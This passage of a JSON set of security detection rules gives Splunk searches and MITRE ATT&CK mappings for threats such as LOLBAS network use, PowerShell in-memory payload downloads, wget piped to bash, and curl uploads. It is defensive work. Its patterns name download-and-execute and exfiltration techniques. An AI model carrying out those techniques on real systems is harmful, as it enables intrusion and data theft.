Group", - "Confucius", - "Darkhotel", - "Dragonfly", - "Elderwood", - "Ember Bear", - "Evilnum", - "FIN13", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "IndigoZebra", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "LuminousMoth", - "Magic Hound", - "Metador", - "Molerats", - "Moses Staff", - "MuddyWater", - "Mustang Panda", - "Mustard Tempest", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "Rancor", - "Rocke", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA505", - "TA551", - "TeamTNT", - "Threat Group-3390", - "Tonto Team", - "Tropic Trooper", - "Turla", - "Volatile Cedar", - "WIRTE", - "Whitefly", - "Windshift", - "Winnti Group", - "Wizard Spider", - "ZIRCONIUM", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "LOLBAS With Network Traffic", - "description": "The following analytic identifies the use of Living Off the Land Binaries and Scripts (LOLBAS) with network traffic. It leverages data from the Network Traffic data model to detect when native Windows binaries, often abused by adversaries, initiate network connections. This activity is significant as LOLBAS are frequently used to download malicious payloads, enabling lateral movement, command-and-control, or data exfiltration. If confirmed malicious, this behavior could allow attackers to execute arbitrary code, escalate privileges, or maintain persistence within the environment, posing a severe threat to organizational security.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Network_Traffic.All_Traffic where (All_Traffic.app IN (\"*Regsvcs.exe\", \"*\\\\Ftp.exe\", \"*OfflineScannerShell.exe\", \"*Rasautou.exe\", \"*Schtasks.exe\", \"*Xwizard.exe\", \"*Pnputil.exe\", \"*Atbroker.exe\", \"*Pcwrun.exe\", \"*Ttdinject.exe\", \"*Mshta.exe\", \"*Bitsadmin.exe\", \"*Certoc.exe\", \"*Ieexec.exe\", \"*Microsoft.Workflow.Compiler.exe\", \"*Runscripthelper.exe\", \"*Forfiles.exe\", \"*Msbuild.exe\", \"*Register-cimprovider.exe\", \"*Tttracer.exe\", \"*Ie4uinit.exe\", \"*Bash.exe\", \"*Hh.exe\", \"*SettingSyncHost.exe\", \"*Cmstp.exe\", \"*Stordiag.exe\", \"*Scriptrunner.exe\", \"*Odbcconf.exe\", \"*Extexport.exe\", \"*Msdt.exe\", \"*WorkFolders.exe\", \"*Diskshadow.exe\", \"*Mavinject.exe\", \"*Regasm.exe\", \"*Gpscript.exe\", \"*Regsvr32.exe\", \"*Msiexec.exe\", \"*Wuauclt.exe\", \"*Presentationhost.exe\", \"*Wmic.exe\", \"*Runonce.exe\", \"*Syncappvpublishingserver.exe\", \"*Verclsid.exe\", \"*Infdefaultinstall.exe\", \"*Installutil.exe\", \"*Netsh.exe\", \"*Wab.exe\", \"*Dnscmd.exe\", \"*\\\\At.exe\", \"*Pcalua.exe\", \"*Msconfig.exe\", \"*makecab.exe\", \"*cscript.exe\", \"*notepad.exe\", \"*\\\\cmd.exe\", \"*certutil.exe\", \"*\\\\powershell.exe\", \"*powershell_ise.exe\")) by All_Traffic.app,All_Traffic.src,All_Traffic.src_ip,All_Traffic.user,All_Traffic.dest,All_Traffic.dest_ip | `drop_dm_object_name(All_Traffic)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | rex field=app \".*\\\\\\(?.*)$\" | rename app as process | `lolbas_with_network_traffic_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Actions on Objectives", - "Command and Control", - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "src", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Attacker" - ] - } - ], - "message": "The LOLBAS $process_name$ on device $src$ was seen communicating with $dest$.", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1105", - "mitre_attack_technique": "Ingress Tool Transfer", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT18", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "Aquatic Panda", - "BITTER", - "BRONZE BUTLER", - "BackdoorDiplomacy", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "Darkhotel", - "Dragonfly", - "Elderwood", - "Ember Bear", - "Evilnum", - "FIN13", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "IndigoZebra", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "LuminousMoth", - "Magic Hound", - "Metador", - "Molerats", - "Moses Staff", - "MuddyWater", - "Mustang Panda", - "Mustard Tempest", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "Rancor", - "Rocke", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA505", - "TA551", - "TeamTNT", - "Threat Group-3390", - "Tonto Team", - "Tropic Trooper", - "Turla", - "Volatile Cedar", - "WIRTE", - "Whitefly", - "Windshift", - "Winnti Group", - "Wizard Spider", - "ZIRCONIUM", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1567", - "mitre_attack_technique": "Exfiltration Over Web Service", - "mitre_attack_tactics": [ - "Exfiltration" - ], - "mitre_attack_groups": [ - "APT28", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - } - ] - } - }, - { - "name": "PowerShell Script Block With URL Chain", - "description": "The following analytic identifies suspicious PowerShell script execution via EventCode 4104 that contains multiple URLs within a function or array. It leverages PowerShell operational logs to detect script blocks with embedded URLs, often indicative of obfuscated scripts or those attempting to download secondary payloads. This activity is significant as it may signal an attempt to execute malicious code or download additional malware. If confirmed malicious, this could lead to code execution, further system compromise, or data exfiltration. Review parallel processes and the full script block for additional context and related artifacts.", - "search": "`powershell` EventCode=4104 ScriptBlockText IN (\"*http:*\",\"*https:*\") | regex ScriptBlockText=\"(\\\"?(https?:\\/\\/(?:www\\.)?[-a-zA-Z0-9@:%._\\+~#=]{1,256}\\.[a-zA-Z0-9()]{1,6}\\b(?:[-a-zA-Z0-9()@:%_\\+.~#?&\\/=]*))\\\"?(?:,|\\))?){2,}\" | rex max_match=20 field=ScriptBlockText \"(?https?:\\/\\/(?:www\\.)?[-a-zA-Z0-9@:%._\\+~#=]{1,256}\\.[a-zA-Z0-9()]{1,6}\\b(?:[-a-zA-Z0-9()@:%_\\+.~#?&\\/=]*))\" | eval Path = case(isnotnull(Path),Path,true(),\"unknown\") | stats count min(_time) as firstTime max(_time) as lastTime list(ScriptBlockText) as command values(Path) as file_name values(UserID) as user values(url) as url dc(url) as url_count by ActivityID, Computer, EventCode | rename Computer as dest, EventCode as signature_id | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `powershell_script_block_with_url_chain_filter`", - "tags": { - "analytic_story": [ - "Malicious PowerShell" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Command and Control", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "file_name", - "type": "File Name", - "role": [ - "Attacker" - ] - }, - { - "name": "url", - "type": "URL String", - "role": [ - "Attacker" - ] - } - ], - "message": "A suspicious powershell script used by $user$ on host $dest$ contains $url_count$ URLs in an array, this is commonly used for malware.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1105", - "mitre_attack_technique": "Ingress Tool Transfer", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT18", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "Aquatic Panda", - "BITTER", - "BRONZE BUTLER", - "BackdoorDiplomacy", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "Darkhotel", - "Dragonfly", - "Elderwood", - "Ember Bear", - "Evilnum", - "FIN13", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "IndigoZebra", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "LuminousMoth", - "Magic Hound", - "Metador", - "Molerats", - "Moses Staff", - "MuddyWater", - "Mustang Panda", - "Mustard Tempest", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "Rancor", - "Rocke", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA505", - "TA551", - "TeamTNT", - "Threat Group-3390", - "Tonto Team", - "Tropic Trooper", - "Turla", - "Volatile Cedar", - "WIRTE", - "Whitefly", - "Windshift", - "Winnti Group", - "Wizard Spider", - "ZIRCONIUM", - "menuPass" - ] - } - ] - } - }, - { - "name": "PowerShell WebRequest Using Memory Stream", - "description": "The following analytic detects the use of .NET classes in PowerShell to download a URL payload directly into memory, a common fileless malware staging technique. It leverages PowerShell Script Block Logging (EventCode=4104) to identify suspicious PowerShell commands involving `system.net.webclient`, `system.net.webrequest`, and `IO.MemoryStream`. This activity is significant as it indicates potential fileless malware execution, which is harder to detect and can bypass traditional file-based defenses. If confirmed malicious, this technique could allow attackers to execute code in memory, evade detection, and maintain persistence in the environment.", - "search": "`powershell` EventCode=4104 ScriptBlockText IN (\"*system.net.webclient*\",\"*system.net.webrequest*\") AND ScriptBlockText=\"*IO.MemoryStream*\" | eval Path = case(isnotnull(Path),Path,true(),\"unknown\") | stats count min(_time) as firstTime max(_time) as lastTime list(ScriptBlockText) as command values(Path) as file_name values(UserID) as user by ActivityID, Computer, EventCode | rename Computer as dest, EventCode as signature_id | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `powershell_webrequest_using_memory_stream_filter`", - "tags": { - "analytic_story": [ - "Malicious PowerShell" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Command and Control", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "file_name", - "type": "File Name", - "role": [ - "Attacker" - ] - } - ], - "message": "Powershell webrequest to memory stream behavior. Possible fileless malware staging on $dest$ by $user$.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1105", - "mitre_attack_technique": "Ingress Tool Transfer", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT18", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "Aquatic Panda", - "BITTER", - "BRONZE BUTLER", - "BackdoorDiplomacy", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "Darkhotel", - "Dragonfly", - "Elderwood", - "Ember Bear", - "Evilnum", - "FIN13", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "IndigoZebra", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "LuminousMoth", - "Magic Hound", - "Metador", - "Molerats", - "Moses Staff", - "MuddyWater", - "Mustang Panda", - "Mustard Tempest", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "Rancor", - "Rocke", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA505", - "TA551", - "TeamTNT", - "Threat Group-3390", - "Tonto Team", - "Tropic Trooper", - "Turla", - "Volatile Cedar", - "WIRTE", - "Whitefly", - "Windshift", - "Winnti Group", - "Wizard Spider", - "ZIRCONIUM", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1027.011", - "mitre_attack_technique": "Fileless Storage", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT32", - "Turla" - ] - } - ] - } - }, - { - "name": "Suspicious Curl Network Connection", - "description": "The following analytic detects the use of the curl command contacting suspicious remote domains, such as s3.amazonaws.com, which is indicative of Command and Control (C2) activity or downloading further implants. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs and command-line arguments. This activity is significant as it may indicate the presence of MacOS adware or other malicious software attempting to establish persistence or exfiltrate data. If confirmed malicious, this could allow attackers to maintain control over the compromised system and deploy additional payloads.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=curl Processes.process=s3.amazonaws.com by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `suspicious_curl_network_connection_filter`", - "tags": { - "analytic_story": [ - "Ingress Tool Transfer", - "Linux Living Off The Land", - "Silver Sparrow" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Command and Control" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1105", - "mitre_attack_technique": "Ingress Tool Transfer", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT18", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "Aquatic Panda", - "BITTER", - "BRONZE BUTLER", - "BackdoorDiplomacy", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "Darkhotel", - "Dragonfly", - "Elderwood", - "Ember Bear", - "Evilnum", - "FIN13", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "IndigoZebra", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "LuminousMoth", - "Magic Hound", - "Metador", - "Molerats", - "Moses Staff", - "MuddyWater", - "Mustang Panda", - "Mustard Tempest", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "Rancor", - "Rocke", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA505", - "TA551", - "TeamTNT", - "Threat Group-3390", - "Tonto Team", - "Tropic Trooper", - "Turla", - "Volatile Cedar", - "WIRTE", - "Whitefly", - "Windshift", - "Winnti Group", - "Wizard Spider", - "ZIRCONIUM", - "menuPass" - ] - } - ] - } - }, - { - "name": "Wget Download and Bash Execution", - "description": "The following analytic detects the use of wget on Linux or MacOS to download a file from a remote source and pipe it to bash. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. This activity is significant as it is commonly associated with malicious actions like coinminers and exploits such as CVE-2021-44228 in Log4j. If confirmed malicious, this behavior could allow attackers to execute arbitrary code, potentially leading to system compromise and unauthorized access to sensitive data.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=wget (Processes.process=\"*-q *\" OR Processes.process=\"*--quiet*\" AND Processes.process=\"*-O- *\") OR (Processes.process=\"*|*\" AND Processes.process=\"*bash*\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `wget_download_and_bash_execution_filter`", - "tags": { - "analytic_story": [ - "Ingress Tool Transfer", - "Log4Shell CVE-2021-44228" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Command and Control" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $process_name$ was identified on endpoint $dest$ attempting to download a remote file and run it with bash.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1105", - "mitre_attack_technique": "Ingress Tool Transfer", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT18", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "Aquatic Panda", - "BITTER", - "BRONZE BUTLER", - "BackdoorDiplomacy", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "Darkhotel", - "Dragonfly", - "Elderwood", - "Ember Bear", - "Evilnum", - "FIN13", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "IndigoZebra", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "LuminousMoth", - "Magic Hound", - "Metador", - "Molerats", - "Moses Staff", - "MuddyWater", - "Mustang Panda", - "Mustard Tempest", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "Rancor", - "Rocke", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA505", - "TA551", - "TeamTNT", - "Threat Group-3390", - "Tonto Team", - "Tropic Trooper", - "Turla", - "Volatile Cedar", - "WIRTE", - "Whitefly", - "Windshift", - "Winnti Group", - "Wizard Spider", - "ZIRCONIUM", - "menuPass" - ] - } - ] - } - }, - { - "name": "Windows Curl Download to Suspicious Path", - "description": "The following analytic detects the use of Windows Curl.exe to download a file to a suspicious location, such as AppData, ProgramData, or Public directories. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions that include the -O or --output options. This activity is significant because downloading files to these locations can indicate an attempt to bypass security controls or establish persistence. If confirmed malicious, this behavior could lead to unauthorized code execution, data exfiltration, or further compromise of the system.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_curl` Processes.process IN (\"*-O *\",\"*--output*\") Processes.process IN (\"*\\\\appdata\\\\*\",\"*\\\\programdata\\\\*\",\"*\\\\public\\\\*\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_curl_download_to_suspicious_path_filter`", - "tags": { - "analytic_story": [ - "Forest Blizzard", - "IcedID", - "Ingress Tool Transfer" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Command and Control" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ to download a file to a suspicious directory.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1105", - "mitre_attack_technique": "Ingress Tool Transfer", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT18", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "Aquatic Panda", - "BITTER", - "BRONZE BUTLER", - "BackdoorDiplomacy", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "Darkhotel", - "Dragonfly", - "Elderwood", - "Ember Bear", - "Evilnum", - "FIN13", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "IndigoZebra", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "LuminousMoth", - "Magic Hound", - "Metador", - "Molerats", - "Moses Staff", - "MuddyWater", - "Mustang Panda", - "Mustard Tempest", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "Rancor", - "Rocke", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA505", - "TA551", - "TeamTNT", - "Threat Group-3390", - "Tonto Team", - "Tropic Trooper", - "Turla", - "Volatile Cedar", - "WIRTE", - "Whitefly", - "Windshift", - "Winnti Group", - "Wizard Spider", - "ZIRCONIUM", - "menuPass" - ] - } - ] - } - }, - { - "name": "Windows Curl Upload to Remote Destination", - "description": "The following analytic detects the use of Windows Curl.exe to upload a file to a remote destination. It identifies command-line arguments such as `-T`, `--upload-file`, `-d`, `--data`, and `-F` in process execution logs. This activity is significant because adversaries may use Curl to exfiltrate data or upload malicious payloads. If confirmed malicious, this could lead to data breaches or further compromise of the system. Analysts should review parallel processes and network logs to determine if the upload was successful and isolate the endpoint if necessary.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_curl` Processes.process IN (\"*-T *\",\"*--upload-file *\", \"*-d *\", \"*--data *\", \"*-F *\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_curl_upload_to_remote_destination_filter`", - "tags": { - "analytic_story": [ - "Ingress Tool Transfer" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Command and Control" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ uploading a file to a remote destination.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1105", - "mitre_attack_technique": "Ingress Tool Transfer", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT18", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "Aquatic Panda", - "BITTER", - "BRONZE BUTLER", - "BackdoorDiplomacy", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "Darkhotel", - "Dragonfly", - "Elderwood", - "Ember Bear", - "Evilnum", - "FIN13", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "IndigoZebra", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "LuminousMoth", - "Magic Hound", - "Metador", - "Molerats", - "Moses Staff", - "MuddyWater", - "Mustang Panda", - "Mustard Tempest", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "Rancor", - "Rocke", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA505", - "TA551", - "TeamTNT", - "Threat Group-3390", - "Tonto Team", - "Tropic Trooper", - "Turla", - "Volatile Cedar", - "WIRTE", - "Whitefly", - "Windshift", - "Winnti Group", - "Wizard Spider", - "ZIRCONIUM", - "menuPass" - ] - } - ] - } - }, - { - "name": "Windows Ingress Tool Transfer Using Explorer", - "description": "The following analytic identifies instances where the Windows Explorer process (explorer.exe) is executed with a URL in its command line. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs. This activity is significant because adversaries, such as those using DCRat malware, may abuse 